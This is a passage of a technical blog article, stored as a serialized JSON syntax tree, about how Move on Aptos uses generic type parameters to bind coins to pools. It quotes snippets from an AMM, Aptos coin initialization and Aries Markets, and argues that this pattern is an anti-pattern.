X",{"type":20,"tag":315,"props":4466,"children":4467},{"style":328},[4468],{"type":26,"value":44},{"type":20,"tag":315,"props":4470,"children":4471},{"style":635},[4472],{"type":26,"value":4204},{"type":20,"tag":315,"props":4474,"children":4475},{"style":322},[4476],{"type":26,"value":4477}," Y",{"type":20,"tag":315,"props":4479,"children":4480},{"style":328},[4481],{"type":26,"value":44},{"type":20,"tag":315,"props":4483,"children":4484},{"style":635},[4485],{"type":26,"value":4204},{"type":20,"tag":315,"props":4487,"children":4488},{"style":328},[4489],{"type":26,"value":4490}," LP> ",{"type":20,"tag":315,"props":4492,"children":4493},{"style":635},[4494],{"type":26,"value":4219},{"type":20,"tag":315,"props":4496,"children":4497},{"style":635},[4498],{"type":26,"value":4325},{"type":20,"tag":315,"props":4500,"children":4501},{"style":328},[4502],{"type":26,"value":1092},{"type":20,"tag":315,"props":4504,"children":4505},{"class":317,"line":365},[4506,4511,4515,4519,4523,4528],{"type":20,"tag":315,"props":4507,"children":4508},{"style":635},[4509],{"type":26,"value":4510}," coin_x_reserve",{"type":20,"tag":315,"props":4512,"children":4513},{"style":334},[4514],{"type":26,"value":2884},{"type":20,"tag":315,"props":4516,"children":4517},{"style":322},[4518],{"type":26,"value":4194},{"type":20,"tag":315,"props":4520,"children":4521},{"style":328},[4522],{"type":26,"value":4199},{"type":20,"tag":315,"props":4524,"children":4525},{"style":322},[4526],{"type":26,"value":4527},"X",{"type":20,"tag":315,"props":4529,"children":4530},{"style":328},[4531],{"type":26,"value":4532},">,\n",{"type":20,"tag":315,"props":4534,"children":4535},{"class":317,"line":374},[4536,4541,4545,4549,4553,4558],{"type":20,"tag":315,"props":4537,"children":4538},{"style":635},[4539],{"type":26,"value":4540}," coin_y_reserve",{"type":20,"tag":315,"props":4542,"children":4543},{"style":334},[4544],{"type":26,"value":2884},{"type":20,"tag":315,"props":4546,"children":4547},{"style":322},[4548],{"type":26,"value":4194},{"type":20,"tag":315,"props":4550,"children":4551},{"style":328},[4552],{"type":26,"value":4199},{"type":20,"tag":315,"props":4554,"children":4555},{"style":322},[4556],{"type":26,"value":4557},"Y",{"type":20,"tag":315,"props":4559,"children":4560},{"style":328},[4561],{"type":26,"value":4532},{"type":20,"tag":315,"props":4563,"children":4564},{"class":317,"line":383},[4565],{"type":20,"tag":315,"props":4566,"children":4567},{"style":1071},[4568],{"type":26,"value":4569}," // ...\n",{"type":20,"tag":315,"props":4571,"children":4572},{"class":317,"line":407},[4573],{"type":20,"tag":315,"props":4574,"children":4575},{"style":328},[4576],{"type":26,"value":1736},{"type":20,"tag":29,"props":4578,"children":4579},{},[4580],{"type":26,"value":4581},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":20,"tag":305,"props":4583,"children":4585},{"className":1360,"code":4584,"language":1359,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[4586],{"type":20,"tag":119,"props":4587,"children":4588},{"__ignoreMap":7},[4589,4628,4649,4677,4705,4756,4764,4771],{"type":20,"tag":315,"props":4590,"children":4591},{"class":317,"line":318},[4592,4597,4602,4607,4611,4615,4619,4623],{"type":20,"tag":315,"props":4593,"children":4594},{"style":635},[4595],{"type":26,"value":4596}," public",{"type":20,"tag":315,"props":4598,"children":4599},{"style":635},[4600],{"type":26,"value":4601}," fun",{"type":20,"tag":315,"props":4603,"children":4604},{"style":635},[4605],{"type":26,"value":4606}," mint",{"type":20,"tag":315,"props":4608,"children":4609},{"style":328},[4610],{"type":26,"value":4199},{"type":20,"tag":315,"props":4612,"children":4613},{"style":322},[4614],{"type":26,"value":4527},{"type":20,"tag":315,"props":4616,"children":4617},{"style":328},[4618],{"type":26,"value":44},{"type":20,"tag":315,"props":4620,"children":4621},{"style":322},[4622],{"type":26,"value":4557},{"type":20,"tag":315,"props":4624,"children":4625},{"style":328},[4626],{"type":26,"value":4627},", LP>(\n",{"type":20,"tag":315,"props":4629,"children":4630},{"class":317,"line":356},[4631,4636,4640,4645],{"type":20,"tag":315,"props":4632,"children":4633},{"style":635},[4634],{"type":26,"value":4635}," pool_addr",{"type":20,"tag":315,"props":4637,"children":4638},{"style":334},[4639],{"type":26,"value":2884},{"type":20,"tag":315,"props":4641,"children":4642},{"style":635},[4643],{"type":26,"value":4644}," address",{"type":20,"tag":315,"props":4646,"children":4647},{"style":328},[4648],{"type":26,"value":643},{"type":20,"tag":315,"props":4650,"children":4651},{"class":317,"line":365},[4652,4657,4661,4665,4669,4673],{"type":20,"tag":315,"props":4653,"children":4654},{"style":635},[4655],{"type":26,"value":4656}," coin_x",{"type":20,"tag":315,"props":4658,"children":4659},{"style":334},[4660],{"type":26,"value":2884},{"type":20,"tag":315,"props":4662,"children":4663},{"style":322},[4664],{"type":26,"value":4194},{"type":20,"tag":315,"props":4666,"children":4667},{"style":328},[4668],{"type":26,"value":4199},{"type":20,"tag":315,"props":4670,"children":4671},{"style":322},[4672],{"type":26,"value":4527},{"type":20,"tag":315,"props":4674,"children":4675},{"style":328},[4676],{"type":26,"value":4532},{"type":20,"tag":315,"props":4678,"children":4679},{"class":317,"line":374},[4680,4685,4689,4693,4697,4701],{"type":20,"tag":315,"props":4681,"children":4682},{"style":635},[4683],{"type":26,"value":4684}," coin_y",{"type":20,"tag":315,"props":4686,"children":4687},{"style":334},[4688],{"type":26,"value":2884},{"type":20,"tag":315,"props":4690,"children":4691},{"style":322},[4692],{"type":26,"value":4194},{"type":20,"tag":315,"props":4694,"children":4695},{"style":328},[4696],{"type":26,"value":4199},{"type":20,"tag":315,"props":4698,"children":4699},{"style":322},[4700],{"type":26,"value":4557},{"type":20,"tag":315,"props":4702,"children":4703},{"style":328},[4704],{"type":26,"value":4386},{"type":20,"tag":315,"props":4706,"children":4707},{"class":317,"line":383},[4708,4713,4717,4721,4725,4730,4734,4739,4743,4747,4752],{"type":20,"tag":315,"props":4709,"children":4710},{"style":328},[4711],{"type":26,"value":4712}," )",{"type":20,"tag":315,"props":4714,"children":4715},{"style":334},[4716],{"type":26,"value":2884},{"type":20,"tag":315,"props":4718,"children":4719},{"style":322},[4720],{"type":26,"value":4194},{"type":20,"tag":315,"props":4722,"children":4723},{"style":328},[4724],{"type":26,"value":4199},{"type":20,"tag":315,"props":4726,"children":4727},{"style":322},[4728],{"type":26,"value":4729},"LP",{"type":20,"tag":315,"props":4731,"children":4732},{"style":328},[4733],{"type":26,"value":4214},{"type":20,"tag":315,"props":4735,"children":4736},{"style":635},[4737],{"type":26,"value":4738},"acquires",{"type":20,"tag":315,"props":4740,"children":4741},{"style":322},[4742],{"type":26,"value":4451},{"type":20,"tag":315,"props":4744,"children":4745},{"style":328},[4746],{"type":26,"value":44},{"type":20,"tag":315,"props":4748,"children":4749},{"style":322},[4750],{"type":26,"value":4751},"EventsStore",{"type":20,"tag":315,"props":4753,"children":4754},{"style":328},[4755],{"type":26,"value":1092},{"type":20,"tag":315,"props":4757,"children":4758},{"class":317,"line":407},[4759],{"type":20,"tag":315,"props":4760,"children":4761},{"style":1071},[4762],{"type":26,"value":4763}," // ...\n",{"type":20,"tag":315,"props":4765,"children":4766},{"class":317,"line":421},[4767],{"type":20,"tag":315,"props":4768,"children":4769},{"emptyLinePlaceholder":15},[4770],{"type":26,"value":427},{"type":20,"tag":315,"props":4772,"children":4773},{"class":317,"line":430},[4774,4779,4783,4788,4792,4797,4801,4805,4810,4814,4818,4822,4826,4831,4836],{"type":20,"tag":315,"props":4775,"children":4776},{"style":541},[4777],{"type":26,"value":4778}," let",{"type":20,"tag":315,"props":4780,"children":4781},{"style":328},[4782],{"type":26,"value":463},{"type":20,"tag":315,"props":4784,"children":4785},{"style":635},[4786],{"type":26,"value":4787},"x_reserve_size",{"type":20,"tag":315,"props":4789,"children":4790},{"style":328},[4791],{"type":26,"value":44},{"type":20,"tag":315,"props":4793,"children":4794},{"style":635},[4795],{"type":26,"value":4796},"y_reserve_size",{"type":20,"tag":315,"props":4798,"children":4799},{"style":328},[4800],{"type":26,"value":1468},{"type":20,"tag":315,"props":4802,"children":4803},{"style":334},[4804],{"type":26,"value":337},{"type":20,"tag":315,"props":4806,"children":4807},{"style":635},[4808],{"type":26,"value":4809}," get_reserves_size",{"type":20,"tag":315,"props":4811,"children":4812},{"style":328},[4813],{"type":26,"value":4199},{"type":20,"tag":315,"props":4815,"children":4816},{"style":322},[4817],{"type":26,"value":4527},{"type":20,"tag":315,"props":4819,"children":4820},{"style":328},[4821],{"type":26,"value":44},{"type":20,"tag":315,"props":4823,"children":4824},{"style":322},[4825],{"type":26,"value":4557},{"type":20,"tag":315,"props":4827,"children":4828},{"style":328},[4829],{"type":26,"value":4830},", LP>(",{"type":20,"tag":315,"props":4832,"children":4833},{"style":635},[4834],{"type":26,"value":4835},"pool_addr",{"type":20,"tag":315,"props":4837,"children":4838},{"style":328},[4839],{"type":26,"value":2214},{"type":20,"tag":29,"props":4841,"children":4842},{},[4843,4845,4851,4853,4860],{"type":26,"value":4844},"As an aside, this generic type information is implemented at runtime in the ",{"type":20,"tag":119,"props":4846,"children":4848},{"className":4847},[],[4849],{"type":26,"value":4850},"ty_args",{"type":26,"value":4852}," ",{"type":20,"tag":35,"props":4854,"children":4857},{"href":4855,"rel":4856},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[39],[4858],{"type":26,"value":4859},"at the vm level",{"type":26,"value":4861},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":20,"tag":29,"props":4863,"children":4864},{},[4865,4867,4873,4875,4881,4883,4889,4890,4896],{"type":26,"value":4866},"In pseucode, this checks that ",{"type":20,"tag":119,"props":4868,"children":4870},{"className":4869},[],[4871],{"type":26,"value":4872},"coin_x.type",{"type":26,"value":4874}," is equal to ",{"type":20,"tag":119,"props":4876,"children":4878},{"className":4877},[],[4879],{"type":26,"value":4880},"pool.x_type",{"type":26,"value":4882},", and ",{"type":20,"tag":119,"props":4884,"children":4886},{"className":4885},[],[4887],{"type":26,"value":4888},"coin_y.type",{"type":26,"value":4874},{"type":20,"tag":119,"props":4891,"children":4893},{"className":4892},[],[4894],{"type":26,"value":4895},"pool.y_type",{"type":26,"value":61},{"type":20,"tag":29,"props":4898,"children":4899},{},[4900],{"type":26,"value":4901},"This type system has two advantages",{"type":20,"tag":68,"props":4903,"children":4904},{},[4905,4917],{"type":20,"tag":72,"props":4906,"children":4907},{},[4908,4910,4915],{"type":26,"value":4909},"It's required. The type parameter ",{"type":20,"tag":55,"props":4911,"children":4912},{},[4913],{"type":26,"value":4914},"must",{"type":26,"value":4916}," be specified so it's impossible to forget such a constraint",{"type":20,"tag":72,"props":4918,"children":4919},{},[4920],{"type":26,"value":4921},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":20,"tag":29,"props":4923,"children":4924},{},[4925],{"type":26,"value":4926},"However, this system isn't perfect.",{"type":20,"tag":29,"props":4928,"children":4929},{},[4930,4932,4937],{"type":26,"value":4931},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":20,"tag":3717,"props":4933,"children":4934},{},[4935],{"type":26,"value":4936},"an anti-pattern",{"type":26,"value":61},{"type":20,"tag":29,"props":4939,"children":4940},{},[4941,4943,4949],{"type":26,"value":4942},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":20,"tag":119,"props":4944,"children":4946},{"className":4945},[],[4947],{"type":26,"value":4948},"CoinInfo\u003CCoinType>",{"type":26,"value":61},{"type":20,"tag":305,"props":4951,"children":4953},{"className":1360,"code":4952,"language":1359,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[4954],{"type":20,"tag":119,"props":4955,"children":4956},{"__ignoreMap":7},[4957,4984,4992,5061,5068,5075,5087,5132,5154],{"type":20,"tag":315,"props":4958,"children":4959},{"class":317,"line":318},[4960,4965,4970,4974,4979],{"type":20,"tag":315,"props":4961,"children":4962},{"style":635},[4963],{"type":26,"value":4964}," fun",{"type":20,"tag":315,"props":4966,"children":4967},{"style":635},[4968],{"type":26,"value":4969}," initialize_internal",{"type":20,"tag":315,"props":4971,"children":4972},{"style":328},[4973],{"type":26,"value":4199},{"type":20,"tag":315,"props":4975,"children":4976},{"style":322},[4977],{"type":26,"value":4978},"CoinType",{"type":20,"tag":315,"props":4980,"children":4981},{"style":328},[4982],{"type":26,"value":4983},">(\n",{"type":20,"tag":315,"props":4985,"children":4986},{"class":317,"line":356},[4987],{"type":20,"tag":315,"props":4988,"children":4989},{"style":1071},[4990],{"type":26,"value":4991}," // ...\n",{"type":20,"tag":315,"props":4993,"children":4994},{"class":317,"line":365},[4995,5000,5004,5008,5013,5017,5021,5026,5031,5035,5039,5043,5048,5052,5056],{"type":20,"tag":315,"props":4996,"children":4997},{"style":328},[4998],{"type":26,"value":4999}," )",{"type":20,"tag":315,"props":5001,"children":5002},{"style":334},[5003],{"type":26,"value":2884},{"type":20,"tag":315,"props":5005,"children":5006},{"style":328},[5007],{"type":26,"value":463},{"type":20,"tag":315,"props":5009,"children":5010},{"style":322},[5011],{"type":26,"value":5012},"BurnCapability",{"type":20,"tag":315,"props":5014,"children":5015},{"style":328},[5016],{"type":26,"value":4199},{"type":20,"tag":315,"props":5018,"children":5019},{"style":322},[5020],{"type":26,"value":4978},{"type":20,"tag":315,"props":5022,"children":5023},{"style":328},[5024],{"type":26,"value":5025},">, ",{"type":20,"tag":315,"props":5027,"children":5028},{"style":322},[5029],{"type":26,"value":5030},"FreezeCapability",{"type":20,"tag":315,"props":5032,"children":5033},{"style":328},[5034],{"type":26,"value":4199},{"type":20,"tag":315,"props":5036,"children":5037},{"style":322},[5038],{"type":26,"value":4978},{"type":20,"tag":315,"props":5040,"children":5041},{"style":328},[5042],{"type":26,"value":5025},{"type":20,"tag":315,"props":5044,"children":5045},{"style":322},[5046],{"type":26,"value":5047},"MintCapability",{"type":20,"tag":315,"props":5049,"children":5050},{"style":328},[5051],{"type":26,"value":4199},{"type":20,"tag":315,"props":5053,"children":5054},{"style":322},[5055],{"type":26,"value":4978},{"type":20,"tag":315,"props":5057,"children":5058},{"style":328},[5059],{"type":26,"value":5060},">) {\n",{"type":20,"tag":315,"props":5062,"children":5063},{"class":317,"line":374},[5064],{"type":20,"tag":315,"props":5065,"children":5066},{"style":1071},[5067],{"type":26,"value":4991},{"type":20,"tag":315,"props":5069,"children":5070},{"class":317,"line":383},[5071],{"type":20,"tag":315,"props":5072,"children":5073},{"emptyLinePlaceholder":15},[5074],{"type":26,"value":427},{"type":20,"tag":315,"props":5076,"children":5077},{"class":317,"line":407},[5078,5083],{"type":20,"tag":315,"props":5079,"children":5080},{"style":345},[5081],{"type":26,"value":5082}," assert!",{"type":20,"tag":315,"props":5084,"children":5085},{"style":328},[5086],{"type":26,"value":353},{"type":20,"tag":315,"props":5088,"children":5089},{"class":317,"line":421},[5090,5095,5100,5104,5109,5113,5117,5122,5127],{"type":20,"tag":315,"props":5091,"children":5092},{"style":334},[5093],{"type":26,"value":5094}," !",{"type":20,"tag":315,"props":5096,"children":5097},{"style":635},[5098],{"type":26,"value":5099},"exists",{"type":20,"tag":315,"props":5101,"children":5102},{"style":328},[5103],{"type":26,"value":4199},{"type":20,"tag":315,"props":5105,"children":5106},{"style":322},[5107],{"type":26,"value":5108},"CoinInfo",{"type":20,"tag":315,"props":5110,"children":5111},{"style":328},[5112],{"type":26,"value":4199},{"type":20,"tag":315,"props":5114,"children":5115},{"style":322},[5116],{"type":26,"value":4978},{"type":20,"tag":315,"props":5118,"children":5119},{"style":328},[5120],{"type":26,"value":5121},">>(",{"type":20,"tag":315,"props":5123,"children":5124},{"style":635},[5125],{"type":26,"value":5126},"account_addr",{"type":20,"tag":315,"props":5128,"children":5129},{"style":328},[5130],{"type":26,"value":5131},"),\n",{"type":20,"tag":315,"props":5133,"children":5134},{"class":317,"line":430},[5135,5140,5144,5149],{"type":20,"tag":315,"props":5136,"children":5137},{"style":328},[5138],{"type":26,"value":5139}," error",{"type":20,"tag":315,"props":5141,"children":5142},{"style":334},[5143],{"type":26,"value":1861},{"type":20,"tag":315,"props":5145,"children":5146},{"style":345},[5147],{"type":26,"value":5148},"already_exists",{"type":20,"tag":315,"props":5150,"children":5151},{"style":328},[5152],{"type":26,"value":5153},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":20,"tag":315,"props":5155,"children":5156},{"class":317,"line":453},[5157],{"type":20,"tag":315,"props":5158,"children":5159},{"style":328},[5160],{"type":26,"value":5161}," );\n",{"type":20,"tag":29,"props":5163,"children":5164},{},[5165,5167,5172],{"type":26,"value":5166},"While this ",{"type":20,"tag":119,"props":5168,"children":5170},{"className":5169},[],[5171],{"type":26,"value":5108},{"type":26,"value":5173}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":20,"tag":29,"props":5175,"children":5176},{},[5177,5179,5186],{"type":26,"value":5178},"Similarly, consider ",{"type":20,"tag":35,"props":5180,"children":5183},{"href":5181,"rel":5182},"https://ariesmarkets.xyz/",[39],[5184],{"type":26,"value":5185},"Aries Markets",{"type":26,"value":5187},", a lending/borrowing protocol building on Aptos.",{"type":20,"tag":29,"props":5189,"children":5190},{},[5191,5193,5199],{"type":26,"value":5192},"Their ",{"type":20,"tag":119,"props":5194,"children":5196},{"className":5195},[],[5197],{"type":26,"value":5198},"ReserveCoinContainer",{"type":26,"value":5200}," struct stores all the relevant data and resources for managing a lending market.",{"type":20,"tag":305,"props":5202,"children":5204},{"className":1360,"code":5203,"language":1359,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[5205],{"type":20,"tag":119,"props":5206,"children":5207},{"__ignoreMap":7},[5208,5216,5224,5265,5273,5302,5310,5347,5355,5392,5400,5437,5444,5451],{"type":20,"tag":315,"props":5209,"children":5210},{"class":317,"line":318},[5211],{"type":20,"tag":315,"props":5212,"children":5213},{"style":1071},[5214],{"type":26,"value":5215}," /// The struct to hold all the underlying `Coin`s.\n",{"type":20,"tag":315,"props":5217,"children":5218},{"class":317,"line":356},[5219],{"type":20,"tag":315,"props":5220,"children":5221},{"style":1071},[5222],{"type":26,"value":5223}," /// Stored as a resources.\n",{"type":20,"tag":315,"props":5225,"children":5226},{"class":317,"line":365},[5227,5231,5236,5240,5244,5249,5253,5257,5261],{"type":20,"tag":315,"props":5228,"children":5229},{"style":541},[5230],{"type":26,"value":4189},{"type":20,"tag":315,"props":5232,"children":5233},{"style":322},[5234],{"type":26,"value":5235}," ReserveCoinContainer",{"type":20,"tag":315,"props":5237,"children":5238},{"style":328},[5239],{"type":26,"value":4199},{"type":20,"tag":315,"props":5241,"children":5242},{"style":635},[5243],{"type":26,"value":4204},{"type":20,"tag":315,"props":5245,"children":5246},{"style":322},[5247],{"type":26,"value":5248}," Coin0",{"type":20,"tag":315,"props":5250,"children":5251},{"style":328},[5252],{"type":26,"value":4214},{"type":20,"tag":315,"props":5254,"children":5255},{"style":635},[5256],{"type":26,"value":4219},{"type":20,"tag":315,"props":5258,"children":5259},{"style":635},[5260],{"type":26,"value":4325},{"type":20,"tag":315,"props":5262,"children":5263},{"style":328},[5264],{"type":26,"value":1092},{"type":20,"tag":315,"props":5266,"children":5267},{"class":317,"line":374},[5268],{"type":20,"tag":315,"props":5269,"children":5270},{"style":1071},[5271],{"type":26,"value":5272}," /// Stores the available `Coin`.\n",{"type":20,"tag":315,"props":5274,"children":5275},{"class":317,"line":383},[5276,5281,5285,5289,5293,5298],{"type":20,"tag":315,"props":5277,"children":5278},{"style":635},[5279],{"type":26,"value":5280}," underlying_coin",{"type":20,"tag":315,"props":5282,"children":5283},{"style":334},[5284],{"type":26,"value":2884},{"type":20,"tag":315,"props":5286,"children":5287},{"style":322},[5288],{"type":26,"value":4194},{"type":20,"tag":315,"props":5290,"children":5291},{"style":328},[5292],{"type":26,"value":4199},{"type":20,"tag":315,"props":5294,"children":5295},{"style":322},[5296],{"type":26,"value":5297},"Coin0",{"type":20,"tag":315,"props":5299,"children":5300},{"style":328},[5301],{"type":26,"value":4532},{"type":20,"tag":315,"props":5303,"children":5304},{"class":317,"line":407},[5305],{"type":20,"tag":315,"props":5306,"children":5307},{"style":1071},[5308],{"type":26,"value":5309}," /// Stores the LP `Coin` that act as collateral.\n",{"type":20,"tag":315,"props":5311,"children":5312},{"class":317,"line":421},[5313,5318,5322,5326,5330,5334,5338,5342],{"type":20,"tag":315,"props":5314,"children":5315},{"style":635},[5316],{"type":26,"value":5317}," collateralised_lp_coin",{"type":20,"tag":315,"props":5319,"children":5320},{"style":334},[5321],{"type":26,"value":2884},{"type":20,"tag":315,"props":5323,"children":5324},{"style":322},[5325],{"type":26,"value":4194},{"type":20,"tag":315,"props":5327,"children":5328},{"style":328},[5329],{"type":26,"value":4199},{"type":20,"tag":315,"props":5331,"children":5332},{"style":322},[5333],{"type":26,"value":4729},{"type":20,"tag":315,"props":5335,"children":5336},{"style":328},[5337],{"type":26,"value":4199},{"type":20,"tag":315,"props":5339,"children":5340},{"style":322},[5341],{"type":26,"value":5297},{"type":20,"tag":315,"props":5343,"children":5344},{"style":328},[5345],{"type":26,"value":5346},">>,\n",{"type":20,"tag":315,"props":5348,"children":5349},{"class":317,"line":430},[5350],{"type":20,"tag":315,"props":5351,"children":5352},{"style":1071},[5353],{"type":26,"value":5354}," /// Mint capability for LP Coin.\n",{"type":20,"tag":315,"props":5356,"children":5357},{"class":317,"line":453},[5358,5363,5367,5372,5376,5380,5384,5388],{"type":20,"tag":315,"props":5359,"children":5360},{"style":635},[5361],{"type":26,"value":5362}," mint_capability",{"type":20,"tag":315,"props":5364,"children":5365},{"style":334},[5366],{"type":26,"value":2884},{"type":20,"tag":315,"props":5368,"children":5369},{"style":322},[5370],{"type":26,"value":5371}," MintCapability",{"type":20,"tag":315,"props":5373,"children":5374},{"style":328},[5375],{"type":26,"value":4199},{"type":20,"tag":315,"props":5377,"children":5378},{"style":322},[5379],{"type":26,"value":4729},{"type":20,"tag":315,"props":5381,"children":5382},{"style":328},[5383],{"type":26,"value":4199},{"type":20,"tag":315,"props":5385,"children":5386},{"style":322},[5387],{"type":26,"value":5297},{"type":20,"tag":315,"props":5389,"children":5390},{"style":328},[5391],{"type":26,"value":5346},{"type":20,"tag":315,"props":5393,"children":5394},{"class":317,"line":486},[5395],{"type":20,"tag":315,"props":5396,"children":5397},{"style":1071},[5398],{"type":26,"value":5399}," /// Burn capability for LP Coin.\n",{"type":20,"tag":315,"props":5401,"children":5402},{"class":317,"line":499},[5403,5408,5412,5417,5421,5425,5429,5433],{"type":20,"tag":315,"props":5404,"children":5405},{"style":635},[5406],{"type":26,"value":5407}," burn_capability",{"type":20,"tag":315,"props":5409,"children":5410},{"style":334},[5411],{"type":26,"value":2884},{"type":20,"tag":315,"props":5413,"children":5414},{"style":322},[5415],{"type":26,"value":5416}," BurnCapability",{"type":20,"tag":315,"props":5418,"children":5419},{"style":328},[5420],{"type":26,"value":4199},{"type":20,"tag":315,"props":5422,"children":5423},{"style":322},[5424],{"type":26,"value":4729},{"type":20,"tag":315,"props":5426,"children":5427},{"style":328},[5428],{"type":26,"value":4199},{"type":20,"tag":315,"props":5430,"children":5431},{"style":322},[5432],{"type":26,"value":5297},{"type":20,"tag":315,"props":5434,"children":5435},{"style":328},[5436],{"type":26,"value":5346},{"type":20,"tag":315,"props":5438,"children":5439},{"class":317,"line":513},[5440],{"type":20,"tag":315,"props":5441,"children":5442},{"emptyLinePlaceholder":15},[5443],{"type":26,"value":427},{"type":20,"tag":315,"props":5445,"children":5446},{"class":317,"line":521},[5447],{"type":20,"tag":315,"props":5448,"children":5449},{"style":1071},[5450],{"type":26,"value":4991},{"type":20,"tag":315,"props":5452,"children":5453},{"class":317,"line":552},[5454],{"type":20,"tag":315,"props":5455,"children":5456},{"style":328},[5457],{"type":26,"value":4265},{"type":20,"tag":29,"props":5459,"children":5460},{},[5461,5463,5468],{"type":26,"value":5462},"When creating a ",{"type":20,"tag":119,"props":5464,"children":5466},{"className":5465},[],[5467],{"type":26,"value":5198},{"type":26,"value":5469},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":20,"tag":305,"props":5471,"children":5473},{"className":1360,"code":5472,"language":1359,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[5474],{"type":20,"tag":119,"props":5475,"children":5476},{"__ignoreMap":7},[5477,5520,5546,5553,5574,5619,5626,5633,5640,5677,5684],{"type":20,"tag":315,"props":5478,"children":5479},{"class":317,"line":318},[5480,5485,5489,5494,5498,5503,5508,5512,5516],{"type":20,"tag":315,"props":5481,"children":5482},{"style":345},[5483],{"type":26,"value":5484}," public",{"type":20,"tag":315,"props":5486,"children":5487},{"style":328},[5488],{"type":26,"value":1049},{"type":20,"tag":315,"props":5490,"children":5491},{"style":635},[5492],{"type":26,"value":5493},"friend",{"type":20,"tag":315,"props":5495,"children":5496},{"style":328},[5497],{"type":26,"value":1468},{"type":20,"tag":315,"props":5499,"children":5500},{"style":635},[5501],{"type":26,"value":5502},"fun",{"type":20,"tag":315,"props":5504,"children":5505},{"style":635},[5506],{"type":26,"value":5507}," create",{"type":20,"tag":315,"props":5509,"children":5510},{"style":328},[5511],{"type":26,"value":4199},{"type":20,"tag":315,"props":5513,"children":5514},{"style":322},[5515],{"type":26,"value":5297},{"type":20,"tag":315,"props":5517,"children":5518},{"style":328},[5519],{"type":26,"value":4983},{"type":20,"tag":315,"props":5521,"children":5522},{"class":317,"line":356},[5523,5528,5532,5537,5542],{"type":20,"tag":315,"props":5524,"children":5525},{"style":635},[5526],{"type":26,"value":5527}," lp_store",{"type":20,"tag":315,"props":5529,"children":5530},{"style":334},[5531],{"type":26,"value":2884},{"type":20,"tag":315,"props":5533,"children":5534},{"style":334},[5535],{"type":26,"value":5536}," &",{"type":20,"tag":315,"props":5538,"children":5539},{"style":635},[5540],{"type":26,"value":5541},"signer",{"type":20,"tag":315,"props":5543,"children":5544},{"style":328},[5545],{"type":26,"value":643},{"type":20,"tag":315,"props":5547,"children":5548},{"class":317,"line":365},[5549],{"type":20,"tag":315,"props":5550,"children":5551},{"style":1071},[5552],{"type":26,"value":4991},{"type":20,"tag":315,"props":5554,"children":5555},{"class":317,"line":374},[5556,5561,5565,5570],{"type":20,"tag":315,"props":5557,"children":5558},{"style":328},[5559],{"type":26,"value":5560}," ) ",{"type":20,"tag":315,"props":5562,"children":5563},{"style":635},[5564],{"type":26,"value":4738},{"type":20,"tag":315,"props":5566,"children":5567},{"style":322},[5568],{"type":26,"value":5569}," Reserves",{"type":20,"tag":315,"props":5571,"children":5572},{"style":328},[5573],{"type":26,"value":1092},{"type":20,"tag":315,"props":5575,"children":5576},{"class":317,"line":383},[5577,5582,5586,5591,5596,5600,5605,5609,5614],{"type":20,"tag":315,"props":5578,"children":5579},{"style":328},[5580],{"type":26,"value":5581}," lp",{"type":20,"tag":315,"props":5583,"children":5584},{"style":334},[5585],{"type":26,"value":1861},{"type":20,"tag":315,"props":5587,"children":5588},{"style":345},[5589],{"type":26,"value":5590},"assert_is_lp_store",{"type":20,"tag":315,"props":5592,"children":5593},{"style":328},[5594],{"type":26,"value":5595},"(signer",{"type":20,"tag":315,"props":5597,"children":5598},{"style":334},[5599],{"type":26,"value":1861},{"type":20,"tag":315,"props":5601,"children":5602},{"style":345},[5603],{"type":26,"value":5604},"address_of",{"type":20,"tag":315,"props":5606,"children":5607},{"style":328},[5608],{"type":26,"value":1049},{"type":20,"tag":315,"props":5610,"children":5611},{"style":635},[5612],{"type":26,"value":5613},"lp_store",{"type":20,"tag":315,"props":5615,"children":5616},{"style":328},[5617],{"type":26,"value":5618},"));\n",{"type":20,"tag":315,"props":5620,"children":5621},{"class":317,"line":407},[5622],{"type":20,"tag":315,"props":5623,"children":5624},{"emptyLinePlaceholder":15},[5625],{"type":26,"value":427},{"type":20,"tag":315,"props":5627,"children":5628},{"class":317,"line":421},[5629],{"type":20,"tag":315,"props":5630,"children":5631},{"style":1071},[5632],{"type":26,"value":4991},{"type":20,"tag":315,"props":5634,"children":5635},{"class":317,"line":430},[5636],{"type":20,"tag":315,"props":5637,"children":5638},{"emptyLinePlaceholder":15},[5639],{"type":26,"value":427},{"type":20,"tag":315,"props":5641,"children":5642},{"class":317,"line":453},[5643,5648,5652,5656,5660,5664,5668,5672],{"type":20,"tag":315,"props":5644,"children":5645},{"style":345},[5646],{"type":26,"value":5647}